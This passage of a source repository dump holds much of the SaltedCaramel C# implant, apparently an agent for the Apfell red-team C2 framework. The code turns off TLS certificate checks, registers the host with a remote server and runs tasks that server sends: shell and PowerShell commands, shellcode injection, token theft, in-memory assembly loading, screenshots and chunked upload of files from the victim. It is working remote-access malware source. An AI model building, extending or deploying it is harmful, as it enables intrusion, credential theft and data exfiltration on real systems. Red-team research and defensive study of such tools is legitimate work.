18 | public string id; 19 | 20 | public SCTaskResp(string id, string response) 21 | { 22 | this.response = System.Convert.ToBase64String(Encoding.UTF8.GetBytes(response)); 23 | this.id = id; 24 | } 25 | } 26 | 27 | /// 28 | /// Struct for the reply we get when sending a file to the Apfell server 29 | /// Contains file ID to use when sending a file to the server 30 | /// 31 | internal struct DownloadReply 32 | { 33 | public string file_id { get; set; } 34 | } 35 | 36 | /// 37 | /// Struct for file chunks, used when sending files to the Apfell server 38 | /// 39 | internal struct FileChunk 40 | { 41 | public int chunk_num; 42 | public string file_id; 43 | public string chunk_data; 44 | } 45 | 46 | internal struct Job 47 | { 48 | public int shortId; 49 | public string task; 50 | internal Thread thread; 51 | } 52 | 53 | /// 54 | /// This class contains all methods used by the CaramelImplant 55 | /// 56 | public class SCImplant 57 | { 58 | internal string callbackId { get; set; } 59 | #if (DEBUG) 60 | public string endpoint { get; set; } 61 | #else 62 | internal string endpoint { get; set; } 63 | #endif 64 | internal List jobs; 65 | public string host { get; set; } 66 | public string ip { get; set; } 67 | public int pid { get; set; } 68 | public int sleep { get; set; } 69 | public string user { get; set; } 70 | public string uuid { get; set; } 71 | public string domain { get; set; } 72 | public string os { get; set; } 73 | public string architecture { get; set; } 74 | private int retry { get; set; } 75 | 76 | /// 77 | /// Post a response to the Apfell endpoint 78 | /// 79 | /// The response to post to the endpoint 80 | /// String with the Apfell server's reply 81 | public string PostResponse(SCTaskResp taskresp) 82 | { 83 | string endpoint = this.endpoint + "responses/" + taskresp.id; 84 | try // Try block for HTTP requests 85 | { 86 | // Encrypt json to send to server 87 | string json = JsonConvert.SerializeObject(taskresp); 88 | string result = HTTP.Post(endpoint, json); 89 | Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.id}: {result}"); 90 | if (result.Contains("success")) 91 | // If it was successful, return the result 92 | return result; 93 | else 94 | { 95 | // If we didn't get success, retry and increment counter 96 | while (retry < 20) 97 | { 98 | Debug.WriteLine($"[!] PostResponse - ERROR: Unable to post task response for {taskresp.id}, retrying..."); 99 | Thread.Sleep(this.sleep); 100 | this.PostResponse(taskresp); 101 | } 102 | retry++; 103 | throw (new Exception("[!] PostResponse - ERROR: Retries exceeded")); 104 | } 105 | } 106 | catch (Exception e) // Catch exceptions from HTTP request or retry exceeded 107 | { 108 | return e.Message; 109 | } 110 | 111 | } 112 | 113 | public void SendComplete(string taskId) 114 | { 115 | Debug.WriteLine($"[+] SendComplete - Sending task complete for {taskId}"); 116 | SCTaskResp completeResponse = new SCTaskResp(taskId, "{\"completed\": true}"); 117 | this.PostResponse(completeResponse); 118 | } 119 | 120 | public void SendError(string taskId, string error) 121 | { 122 | Debug.WriteLine($"[+] SendError - Sending error for {taskId}: {error}"); 123 | SCTaskResp errorResponse = new SCTaskResp(taskId, "{\"completed\": true, \"status\": \"error\", \"user_output\": \"" + error + "\"}"); 124 | this.PostResponse(errorResponse); 125 | } 126 | 127 | /// 128 | /// Send initial implant callback, different from normal task response 129 | /// because we need to get the implant ID from Apfell server 130 | /// 131 | public bool InitializeImplant() 132 | { 133 | string initEndpoint = this.endpoint + "crypto/aes_psk/" + this.uuid; 134 | this.retry = 0; 135 | 136 | this.jobs = new List(); 137 | 138 | try // Try block for HTTP request 139 | { 140 | // Get JSON string for implant 141 | // Format: {"user":"username", "host":"hostname", "pid":, "ip":, "uuid":} 142 | string json = JsonConvert.SerializeObject(this); 143 | Debug.WriteLine($"[+] InitializeImplant - Sending {json} to {initEndpoint}"); 144 | 145 | string result = HTTP.Post(initEndpoint, json); 146 | 147 | if (result.Contains("success")) 148 | { 149 | // If it was successful, initialize implant 150 | // Response is { "status": "success", "id": } 151 | JObject resultJSON = (JObject)JsonConvert.DeserializeObject(result); 152 | this.callbackId = resultJSON.Value("id"); 153 | string callbackStatus = resultJSON.Value("status"); 154 | Debug.WriteLine($"[-] InitializeImplant - INITIALIZE RESPONSE: {callbackStatus}"); 155 | Debug.WriteLine($"[-] InitializeImplant - Callback ID is: {this.callbackId}"); 156 | retry = 0; 157 | return true; 158 | } 159 | else 160 | { 161 | // If we didn't get success, retry and increment counter 162 | while (retry < 20) 163 | { 164 | Debug.WriteLine("[!] InitializeImplant - ERROR: Unable to initialize implant, retrying..."); 165 | Thread.Sleep(this.sleep); 166 | this.InitializeImplant(); 167 | } 168 | retry++; 169 | throw (new Exception("[!] InitializeImplant - ERROR: Retries exceeded when initializing implant")); 170 | } 171 | } 172 | catch (Exception e) // Catch exceptions from HTTP request 173 | { 174 | Debug.WriteLine(e.Message); 175 | return false; 176 | } 177 | } 178 | 179 | /// 180 | /// Check Apfell endpoint for new task 181 | /// 182 | /// CaramelTask with the next task to execute 183 | public SCTask CheckTasking() 184 | { 185 | string taskEndpoint = this.endpoint + "tasks/callback/" + this.callbackId + "/nextTask"; 186 | try // Try block for checking tasks (throws if retries exceeded) 187 | { 188 | while (retry < 20) 189 | { 190 | try // Try block for HTTP request 191 | { 192 | SCTask task = JsonConvert.DeserializeObject(HTTP.Get(taskEndpoint)); 193 | retry = 0; 194 | if (task.command != "none") 195 | Debug.WriteLine("[-] CheckTasking - NEW TASK with ID: " + task.id); 196 | return task; 197 | } 198 | catch (Exception e) // Catch exceptions from HTTP request 199 | { 200 | retry++; 201 | Debug.WriteLine("[!] CheckTasking - ERROR: " + e.Message + ", retrying..."); 202 | Thread.Sleep(this.sleep); 203 | this.CheckTasking(); 204 | } 205 | } 206 | throw new Exception(); 207 | } 208 | catch // Catch exception when retries exceeded 209 | { 210 | Debug.WriteLine("[!] CheckTasking - ERROR: retries exceeded."); 211 | return null; 212 | } 213 | } 214 | 215 | /// 216 | /// Check if the implant has an alternate token 217 | /// 218 | /// True if the implant has an alternate token, false if not 219 | public bool HasAlternateToken() 220 | { 221 | if (Tasks.Token.stolenHandle != IntPtr.Zero) 222 | return true; 223 | else return false; 224 | } 225 | 226 | public bool HasCredentials() 227 | { 228 | if (Tasks.Token.Cred.User != null) 229 | return true; 230 | else return false; 231 | } 232 | } 233 | } 234 | -------------------------------------------------------------------------------- /SaltedCaramel/SCTask.cs: -------------------------------------------------------------------------------- 1 | using SaltedCaramel.Tasks; 2 | using System; 3 | using System.Diagnostics; 4 | 5 | namespace SaltedCaramel 6 | { 7 | /// 8 | /// A task to assign to an implant 9 | /// 10 | public class SCTask 11 | { 12 | public string command { get; set; } 13 | public string @params { get; set; } 14 | public string id { get; set; } 15 | internal int shortId { get; set; } 16 | #if (DEBUG) 17 | public string status { get; set; } 18 | public string message { get; set; } 19 | #else 20 | internal string status { get; set; } 21 | internal string message { get; set; } 22 | #endif 23 | 24 | public SCTask (string command, string @params, string id) 25 | { 26 | this.command = command; 27 | this.@params = @params; 28 | this.id = id; 29 | } 30 | 31 | /// 32 | /// Handle a new task. 33 | /// 34 | /// The CaramelImplant we're handling a task for 35 | public void DispatchTask(SCImplant implant) 36 | { 37 | if (this.command == "cd") 38 | { 39 | Debug.WriteLine("[-] DispatchTask - Tasked to change directory " + this.@params); 40 | ChangeDir.Execute(this); 41 | } 42 | else if (this.command == "download") 43 | { 44 | Debug.WriteLine("[-] DispatchTask - Tasked to send file " + this.@params); 45 | Download.Execute(this, implant); 46 | } 47 | else if (this.command == "execute_assembly") 48 | { 49 | Debug.WriteLine("[-] DispatchTask - Tasked to execute assembly " + this.@params); 50 | Tasks.ExecAssembly.Execute(this, implant); 51 | } 52 | else if (this.command == "exit") 53 | { 54 | Debug.WriteLine("[-] DispatchTask - Tasked to exit"); 55 | Exit.Execute(this, implant); 56 | } 57 | else if (this.command == "jobs") 58 | { 59 | Debug.WriteLine("[-] DispatchTask - Tasked to list jobs"); 60 | Jobs.Execute(this, implant); 61 | } 62 | else if (this.command == "jobkill") 63 | { 64 | Debug.WriteLine($"[-] DispatchTask - Tasked to kill job {this.@params}"); 65 | Jobs.Execute(this, implant); 66 | } 67 | else if (this.command == "kill") 68 | { 69 | Debug.WriteLine("[-] DispatchTask - Tasked to kill PID " + this.@params); 70 | Kill.Execute(this); 71 | } 72 | else if (this.command == "ls") 73 | { 74 | string path = this.@params; 75 | Debug.WriteLine("[-] DispatchTask - Tasked to list directory " + path); 76 | DirectoryList.Execute(this, implant); 77 | } 78 | else if (this.command == "make_token") 79 | { 80 | Debug.WriteLine("[-] DispatchTask - Tasked to make a token for " + this.@params.Split(' ')[0]); 81 | Token.Execute(this); 82 | } 83 | else if (this.command == "ps") 84 | { 85 | Debug.WriteLine("[-] DispatchTask - Tasked to list processes"); 86 | ProcessList.Execute(this); 87 | } 88 | else if (this.command == "powershell") 89 | { 90 | Debug.WriteLine("[-] DispatchTask - Tasked to run powershell"); 91 | Powershell.Execute(this); 92 | } 93 | else if (this.command == "rev2self") 94 | { 95 | Debug.WriteLine("[-] DispatchTask - Tasked to revert token"); 96 | Token.Revert(this); 97 | } 98 | else if (this.command == "run") 99 | { 100 | Debug.WriteLine("[-] DispatchTask - Tasked to start process"); 101 | Proc.Execute(this, implant); 102 | } 103 | else if (this.command == "screencapture") 104 | { 105 | Debug.WriteLine("[-] DispatchTask - Tasked to take screenshot."); 106 | ScreenCapture.Execute(this, implant); 107 | } 108 | else if (this.command == "shell") 109 | { 110 | Debug.WriteLine("[-] DispatchTask - Tasked to run shell command."); 111 | Proc.Execute(this, implant); 112 | } 113 | else if (this.command == "shinject") 114 | { 115 | Debug.WriteLine("[-] DispatchTask - Tasked to run shellcode."); 116 | Shellcode.Execute(this); 117 | } 118 | else if (this.command == "sleep") 119 | { 120 | try 121 | { 122 | int sleep = Convert.ToInt32(this.@params); 123 | Debug.WriteLine("[-] DispatchTask - Tasked to change sleep to: " + sleep); 124 | implant.sleep = sleep * 1000; 125 | this.status = "complete"; 126 | } 127 | catch 128 | { 129 | Debug.WriteLine("[-] DispatchTask - ERROR sleep value provided was not int"); 130 | this.status = "error"; 131 | this.message = "Please provide an integer value"; 132 | } 133 | } 134 | else if (this.command == "spawn") 135 | { 136 | Debug.WriteLine("[-] DispatchTask - Tasked to spawn"); 137 | Spawn.Execute(this); 138 | } 139 | else if (this.command == "steal_token") 140 | { 141 | Debug.WriteLine("[-] DispatchTask - Tasked to steal token"); 142 | Token.Execute(this); 143 | } 144 | else if (this.command == "upload") 145 | { 146 | Debug.WriteLine("[-] DispatchTask - Tasked to get file from server"); 147 | Upload.Execute(this, implant); 148 | } 149 | 150 | this.SendResult(implant); 151 | } 152 | 153 | private void SendResult(SCImplant implant) 154 | { 155 | if (this.status == "complete" && 156 | this.command != "download" && 157 | this.command != "screencapture") 158 | { 159 | implant.PostResponse(new SCTaskResp(this.id, this.message)); 160 | implant.SendComplete(this.id); 161 | } 162 | else if (this.status == "error") implant.SendError(this.id, this.message); 163 | 164 | try 165 | { 166 | for (int i = 0; i < implant.jobs.Count; ++i) 167 | { 168 | if (implant.jobs[i].shortId == this.shortId) 169 | { 170 | implant.jobs.RemoveAt(i); 171 | } 172 | } 173 | 174 | } 175 | catch (Exception e) 176 | { 177 | // This should only happen when testing. 178 | Debug.WriteLine($"[!] Caught exception: {e.Message}"); 179 | } 180 | } 181 | } 182 | } -------------------------------------------------------------------------------- /SaltedCaramel/SaltedCaramel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Threading; 7 | 8 | namespace SaltedCaramel 9 | { 10 | class SaltedCaramel 11 | { 12 | static void Main(string[] args) 13 | { 14 | // Necessary to disable certificate validation 15 | ServicePointManager.ServerCertificateValidationCallback = 16 | delegate { return true; }; 17 | 18 | SCImplant implant = new SCImplant() 19 | { 20 | uuid = args[2], // Generated when payload is created in Apfell 21 | endpoint = args[0] + "/api/v1.3/", 22 | host = Dns.GetHostName(), 23 | ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface 24 | .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(), 25 | domain = Environment.UserDomainName, 26 | os = Environment.OSVersion.VersionString, 27 | architecture = "x64", 28 | pid = Process.GetCurrentProcess().Id, 29 | sleep = 5000, 30 | user = Environment.UserName 31 | }; 32 | HTTP.crypto.PSK = Convert.FromBase64String(args[1]); 33 | 34 | if (implant.InitializeImplant()) 35 | { 36 | int shortId = 1; 37 | while (true) 38 | { 39 | SCTask task = implant.CheckTasking(); 40 | if (task.command != "none") 41 | { 42 | task.shortId = shortId; 43 | shortId++; 44 | 45 | Thread t = new Thread(() => task.DispatchTask(implant)); 46 | t.Start(); 47 | 48 | if (task.command != "jobs" || task.command != "jobkill") // We don't want to add our job tracking jobs. 49 | { 50 | Job j = new Job 51 | { 52 | shortId = task.shortId, 53 | task = task.command, 54 | thread = t 55 | }; 56 | 57 | if (task.@params != "") 58 | j.task += " " + task.@params; 59 | 60 | implant.jobs.Add(j); 61 | } 62 | 63 | 64 | } 65 | Thread.Sleep(implant.sleep); 66 | } 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /SaltedCaramel/SaltedCaramel.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {D14E4A53-B9B5-4563-8290-BA8487575255} 8 | WinExe 9 | SaltedCaramel 10 | SaltedCaramel 11 | v3.5 12 | 512 13 | true 14 | false 15 | 16 | publish\ 17 | true 18 | Disk 19 | false 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | 0 27 | 1.0.0.%2a 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | false 41 | true 42 | MixedRecommendedRules.ruleset 43 | 44 | 45 | AnyCPU 46 | pdbonly 47 | true 48 | bin\Release\ 49 | TRACE 50 | prompt 51 | 4 52 | 53 | 54 | 55 | 56 | 57 | 58 | true 59 | bin\x64\Debug\ 60 | DEBUG;TRACE 61 | full 62 | x64 63 | 7.3 64 | prompt 65 | MixedRecommendedRules.ruleset 66 | 67 | 68 | bin\x64\Release\ 69 | TRACE 70 | true 71 | pdbonly 72 | x64 73 | 7.3 74 | prompt 75 | MinimumRecommendedRules.ruleset 76 | 77 | 78 | 79 | False 80 | libs\Newtonsoft.Json.dll 81 | 82 | 83 | False 84 | libs\SharpSploit.dll 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | False 124 | .NET Framework 3.5 SP1 125 | true 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/ChangeDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | 5 | namespace SaltedCaramel.Tasks 6 | { 7 | public class ChangeDir 8 | { 9 | public static void Execute(SCTask task) 10 | { 11 | string path = task.@params; 12 | 13 | try 14 | { 15 | Directory.SetCurrentDirectory(path); 16 | task.status = "complete"; 17 | task.message = $"Changed to directory {task.@params}"; 18 | } 19 | catch (Exception e) 20 | { 21 | Debug.WriteLine($"[!] ChangeDir - ERROR: {e.Message}"); 22 | task.status = "error"; 23 | task.message = e.Message; 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/DirectoryList.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using SharpSploit.Enumeration; 3 | using SharpSploit.Generic; 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Diagnostics; 7 | using System.IO; 8 | 9 | namespace SaltedCaramel.Tasks 10 | { 11 | public class DirectoryList 12 | { 13 | public static void Execute(SCTask task, SCImplant implant) 14 | { 15 | string path = task.@params; 16 | SharpSploitResultList list; 17 | 18 | try 19 | { 20 | if (path != "") 21 | list = Host.GetDirectoryListing(path); 22 | else 23 | list = Host.GetDirectoryListing(); 24 | 25 | List> fileList = new List>(); 26 | 27 | foreach (Host.FileSystemEntryResult item in list) 28 | { 29 | FileInfo f = new FileInfo(item.Name); 30 | Dictionary infoDict = new Dictionary(); 31 | try 32 | { 33 | infoDict.Add("size", f.Length.ToString()); 34 | infoDict.Add("type", "file"); 35 | infoDict.Add("name", f.Name); 36 | fileList.Add(infoDict); 37 | } 38 | catch 39 | { 40 | infoDict.Add("size", "0"); 41 | infoDict.Add("type", "dir"); 42 | infoDict.Add("name", item.Name); 43 | fileList.Add(infoDict); 44 | } 45 | } 46 | 47 | SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fileList)); 48 | implant.PostResponse(response); 49 | implant.SendComplete(task.id); 50 | task.status = "complete"; 51 | task.message = fileList.ToString(); 52 | } 53 | catch (DirectoryNotFoundException) 54 | { 55 | Debug.WriteLine($"[!] DirectoryList - ERROR: Directory not found: {path}"); 56 | implant.SendError(task.id, "Error: Directory not found."); 57 | task.status = "error"; 58 | task.message = "Directory not found."; 59 | } 60 | catch (Exception e) 61 | { 62 | Debug.WriteLine($"DirectoryList - ERROR: {e.Message}"); 63 | implant.SendError(task.id, $"Error: {e.Message}"); 64 | task.status = "error"; 65 | task.message = e.Message; 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Download.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Threading; 6 | 7 | /// 8 | /// This task will download a file from a compromised system to the Apfell server 9 | /// 10 | namespace SaltedCaramel.Tasks 11 | { 12 | public class Download 13 | { 14 | public static void Execute(SCTask task, SCImplant implant) 15 | { 16 | string filepath = task.@params; 17 | try // Try block for file upload task 18 | { 19 | // Get file info to determine file size 20 | FileInfo fileInfo = new FileInfo(filepath); 21 | long size = fileInfo.Length; 22 | Debug.WriteLine($"[+] Download - DOWNLOADING: {filepath}, {size} bytes"); 23 | 24 | // Determine number of 512kb chunks to send 25 | long total_chunks = size / 512000; 26 | // HACK: Dumb workaround because longs don't have a ceiling operation 27 | if (total_chunks == 0) 28 | total_chunks = 1; 29 | Debug.WriteLine($"[+] Download - File size = {size} ({total_chunks} chunks)"); 30 | 31 | // Send number of chunks associated with task to Apfell server 32 | // Response will have the file ID to send file with 33 | SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}"); 34 | DownloadReply reply = JsonConvert.DeserializeObject(implant.PostResponse(initial)); 35 | Debug.WriteLine($"[-] Download - Received reply, file ID: " + reply.file_id); 36 | 37 | 38 | // Send file in chunks 39 | for (int i = 0; i < total_chunks; i++) 40 | { 41 | byte[] chunk = null; 42 | long pos = i * 512000; 43 | 44 | // We need to use a FileStream in case our file size in bytes is larger than an Int32 45 | // With a filestream, we can specify a position as a long, and then use Read() normally 46 | using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) 47 | { 48 | fs.Position = pos; 49 | 50 | // If this is the last chunk, size will be the remaining bytes 51 | if (i == total_chunks - 1) 52 | { 53 | chunk = new byte[size - (i * 512000)]; 54 | int chunkSize = chunk.Length; 55 | fs.Read(chunk, 0, chunkSize); 56 | } 57 | // Otherwise we'll read 512kb from the file 58 | else 59 | { 60 | chunk = new byte[512000]; 61 | fs.Read(chunk, 0, 512000); 62 | } 63 | } 64 | 65 | // Convert chunk to base64 blob and create our FileChunk 66 | FileChunk fc = new FileChunk(); 67 | fc.chunk_num = i; 68 | fc.file_id = reply.file_id; 69 | fc.chunk_data = Convert.ToBase64String(chunk); 70 | 71 | // Send our FileChunk to Apfell server 72 | SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc)); 73 | Debug.WriteLine($"[+] Download - CHUNK SENT: {fc.chunk_num}"); 74 | Debug.WriteLine($"[-] Download - RESPONSE: {implant.PostResponse(response)}"); 75 | // Make sure we respect the sleep setting 76 | Thread.Sleep(implant.sleep); 77 | } 78 | 79 | // Tell the Apfell server file transfer is done 80 | implant.SendComplete(task.id); 81 | Debug.WriteLine($"[+] Download - File transfer complete: {filepath}"); 82 | } 83 | catch (Exception e) // Catch any exception from file upload 84 | { 85 | // Something failed, so we need to tell the server about it 86 | task.status = "error"; 87 | task.message = e.Message; 88 | } 89 | 90 | } 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/ExecAssembly.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using Newtonsoft.Json.Linq; 3 | using Reflection = System.Reflection; 4 | 5 | namespace SaltedCaramel.Tasks 6 | { 7 | class ExecAssembly 8 | { 9 | public static void Execute(SCTask task, SCImplant implant) 10 | { 11 | JObject json = (JObject)JsonConvert.DeserializeObject(task.@params); 12 | string file_id = json.Value("file_id"); 13 | string[] args = json.Value("args"); 14 | byte[] assemblyBytes = Upload.GetFile(file_id, implant); 15 | Reflection.Assembly assembly = Reflection.Assembly.Load(assemblyBytes); 16 | string result = assembly.EntryPoint.Invoke(null, args).ToString(); 17 | 18 | implant.PostResponse(new SCTaskResp(task.id, result)); 19 | implant.SendComplete(task.id); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Exit.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SaltedCaramel.Tasks 4 | { 5 | public class Exit 6 | { 7 | public static void Execute(SCTask task, SCImplant implant) 8 | { 9 | try 10 | { 11 | implant.SendComplete(task.id); 12 | } 13 | catch (Exception e) 14 | { 15 | implant.SendError(task.id, e.Message); 16 | } 17 | Environment.Exit(0); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Jobs.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Threading; 4 | 5 | namespace SaltedCaramel.Tasks 6 | { 7 | public class Jobs 8 | { 9 | public static void Execute(SCTask task, SCImplant implant) 10 | { 11 | if (task.command == "jobs") 12 | { 13 | task.status = "complete"; 14 | task.message = JsonConvert.SerializeObject(implant.jobs); 15 | } 16 | else if (task.command == "jobkill") 17 | { 18 | Thread t; 19 | foreach (Job j in implant.jobs) 20 | { 21 | if (j.shortId == Convert.ToInt32(task.@params)) 22 | { 23 | t = j.thread; 24 | try 25 | { 26 | t.Abort(); 27 | task.status = "complete"; 28 | task.message = $"Killed job {j.shortId}"; 29 | } 30 | catch (Exception e) 31 | { 32 | task.status = "error"; 33 | task.message = $"Error stopping job {j.shortId}: {e.Message}"; 34 | } 35 | } 36 | } 37 | } 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Kill.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | 4 | namespace SaltedCaramel.Tasks 5 | { 6 | public class Kill 7 | { 8 | public static void Execute(SCTask task) 9 | { 10 | int pid = Convert.ToInt32(task.@params); 11 | try 12 | { 13 | Debug.WriteLine("[-] Kill - Killing process with PID " + pid); 14 | Process target = Process.GetProcessById(pid); 15 | target.Kill(); 16 | task.status = "complete"; 17 | task.message = $"Killed process with PID {pid}"; 18 | } 19 | catch (Exception e) 20 | { 21 | Debug.WriteLine("[-] Kill - ERROR killing process " + pid + ": " + e.Message); 22 | task.status = "error"; 23 | task.message = e.Message; 24 | } 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Powershell.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using SharpSploit.Execution; 3 | using System; 4 | using System.Diagnostics; 5 | 6 | namespace SaltedCaramel.Tasks 7 | { 8 | public class Powershell 9 | { 10 | public static void Execute(SCTask task) 11 | { 12 | string args = task.@params; 13 | 14 | try 15 | { 16 | string result = Shell.PowerShellExecute(args); 17 | 18 | task.status = "complete"; 19 | task.message = JsonConvert.SerializeObject(result); 20 | } 21 | catch (Exception e) 22 | { 23 | Debug.WriteLine("[!] Powershell - ERROR: " + e.Message); 24 | task.message = e.Message; 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /SaltedCaramel/Tasks/Proc.cs: -------------------------------------------------------------------------------- 1 | using Newtonsoft.Json; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.IO.Pipes; 7 | using System.Linq; 8 | using System.Runtime.InteropServices; 9 | using System.Security; 10 | using System.Security.AccessControl; 11 | using System.Threading; 12 | 13 | namespace SaltedCaramel.Tasks 14 | { 15 | public class Proc 16 | { 17 | // If we have a stolen token, we need to start a process with CreateProcessWithTokenW 18 | // Otherwise, we can use Process.Start 19 | public static void Execute(SCTask task, SCImplant implant) 20 | { 21 | if (implant.HasAlternateToken()) 22 | StartProcessWithToken(task, implant); 23 | else if (implant.HasCredentials() && Token.Cred.NetOnly == false) 24 | StartProcessWithCreds(task, implant); 25 | else if (implant.HasCredentials() && Token.Cred.NetOnly == true) 26 | StartProcessWithLogon(task, implant); 27 | else 28 | StartProcess(task, implant); 29 | } 30 | 31 | /// 32 | /// Start a process using System.Diagnostics.Process 33 | /// If we don't have to worry about a stolen token we can just start a process normally 34 | /// 35 | /// 36 | /// 37 | public static void StartProcess (SCTask task, SCImplant implant) 38 | { 39 | string[] split = task.@params.Trim().Split(' '); 40 | string argString = string.Join(" ", split.Skip(1).ToArray()); 41 | ProcessStartInfo startInfo = new ProcessStartInfo 42 | { 43 | FileName = split[0], 44 | Arguments = argString, 45 | UseShellExecute = false, 46 | RedirectStandardOutput = true, // Ensure we get standard output 47 | CreateNoWindow = true // Don't create a new window 48 | }; 49 | 50 | using (Process proc = new Process()) 51 | { 52 | proc.StartInfo = startInfo; 53 | 54 | try 55 | { 56 | Debug.WriteLine("[-] DispatchTask -> StartProcess - Tasked to start process " + startInfo.FileName); 57 | proc.Start(); 58 | 59 | List procOutput = new List(); 60 | SCTaskResp response; 61 | 62 | while (!proc.StandardOutput.EndOfStream) 63 | { 64 | string line = proc.StandardOutput.ReadLine(); 65 | procOutput.Add(line); 66 | if (procOutput.Count >= 5) 67 | { 68 | response = new SCTaskResp(task.id, JsonConvert.SerializeObject(procOutput)); 69 | implant.PostResponse(response); 70 | procOutput.Clear(); 71 | } 72 | } 73 | 74 | proc.WaitForExit(); 75 | task.status = "complete"; 76 | task.message = JsonConvert.SerializeObject(procOutput); 77 | } 78 | catch (Exception e) 79 | { 80 | Debug.WriteLine("[!] DispatchTask -> StartProcess - ERROR starting process: " + e.Message); 81 | task.status = "error"; 82 | task.message = e.Message; 83 | } 84 | } 85 | } 86 | 87 | /// 88 | /// Start a process using explicit credentials 89 | /// 90 | /// 91 | /// 92 | /// 93 | public static void StartProcessWithCreds(SCTask task, SCImplant implant) 94 | { 95 | string[] split = task.@params.Trim().Split(' '); 96 | string argString = string.Join(" ", split.Skip(1).ToArray()); 97 | ProcessStartInfo startInfo = new ProcessStartInfo 98 | { 99 | FileName = split[0], 100 | Arguments = argString, 101 | WorkingDirectory = "C:\\Temp", 102 | UseShellExecute = false, 103 | RedirectStandardOutput = true, // Ensure we get standard output 104 | CreateNoWindow = true, // Don't create a new window 105 | Domain = Token.Cred.Domain, 106 | UserName = Token.Cred.User, 107 | Password = Token.Cred.SecurePassword 108 | }; 109 | 110 | using (Process proc = new Process()) 111 | { 112 | proc.StartInfo = startInfo; 113 | 114 | try 115 | { 116 | Debug.WriteLine("[-] DispatchTask -> StartProcessWithCreds - Tasked to start process " + startInfo.FileName); 117 | proc.Start(); 118 | 119 | List procOutput = new List(); 120 | SCTaskResp response; 121 | 122 | while (!proc.StandardOutput.EndOfStream) 123 | { 124 | string line = proc.StandardOutput.ReadLine(); 125 | procOutput.Add(line); 126 | if (procOutput.Count >= 5) 127 | { 128 | response = new SCTaskResp(task.id, JsonConvert.SerializeObject(procOutput)); 129 | implant.PostResponse(response); 130 | procOutput.Clear(); 131 | } 132 | } 133 | 134 | proc.WaitForExit(); 135 | task.status = "complete"; 136 | task.message = JsonConvert.SerializeObject(procOutput); 137 | } 138 | catch (Exception e) 139 | { 140 | Debug.WriteLine("[!] DispatchTask -> StartProcess - ERROR starting process: " + e.Message); 141 | task.status = "error"; 142 | task.message = e.Message; 143 | } 144 | } 145 | } 146 | 147 | public static void StartProcessWithLogon(SCTask task, SCImplant implant) 148 | { 149 | string[] split; 150 | string argString; 151 | string file; 152 | if (task.command == "shell") 153 | { 154 | split = task.@params.Trim().Split(' '); 155 | argString = string.Join(" ", split); 156 | file = "cmd /c"; 157 | } 158 | else 159 | { 160 | split = task.@params.Trim().Split(' '); 161 | argString = string.Join(" ", split.Skip(1).ToArray()); 162 | file = split[0]; 163 | } 164 | 165 | // STARTUPINFO is used to control a few startup options for our new process 166 | Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO(); 167 | // Use C:\Temp as directory to ensure that we have rights to start our new process 168 | // TODO: determine if this is safe to change 169 | string directory = "C:\\Temp"; 170 | 171 | // Set security on anonymous pipe to allow any user to access 172 | PipeSecurity sec = new PipeSecurity(); 173 | sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow)); 174 | 175 | 176 | // TODO: Use anonymous pipes instead of named pipes 177 | using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec)) 178 | using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) 179 | { 180 | try 181 | { 